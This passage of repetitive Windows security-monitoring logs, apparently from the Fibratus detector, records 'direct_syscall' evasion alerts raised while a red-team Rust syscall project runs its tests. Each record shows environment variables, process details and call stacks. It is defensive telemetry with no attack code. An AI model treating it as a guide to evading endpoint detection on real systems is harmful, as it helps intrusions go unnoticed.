VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff6902f7ee7 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb0b2d6 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb053c4 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa3ec36 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb151ea C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff6902f811c C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:12:59+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 902922 + Pid: 15532 + Tid: 3468 + Type: VirtualAlloc + CPU: 2 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:57.9898741 +0100 CET + Params: alloc_typeâžœ COMMIT, base_addressâžœ d0f50e7000, exeâžœ C:\Users\nedo\.cargo\bin\cargo.exe, nameâžœ cargo.exe, page_typeâžœ PRIVATE, pidâžœ 15532, protectionâžœ READWRITE, protection_maskâžœ RW, region_sizeâžœ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 15532 + Ppid: 9772 + Name: cargo.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\.cargo\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.cargo\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff6902f7ee7 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb0b2d6 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb053c4 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa3ec36 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb151ea C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff6902f811c C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:12:59+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 902924 + Pid: 15532 + Tid: 3468 + Type: VirtualAlloc + CPU: 2 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:57.9898947 +0100 CET + Params: alloc_typeâžœ COMMIT, base_addressâžœ d0f50e6000, exeâžœ C:\Users\nedo\.cargo\bin\cargo.exe, nameâžœ cargo.exe, page_typeâžœ PRIVATE, pidâžœ 15532, protectionâžœ READWRITE, protection_maskâžœ RW, region_sizeâžœ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 15532 + Ppid: 9772 + Name: cargo.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\.cargo\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.cargo\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 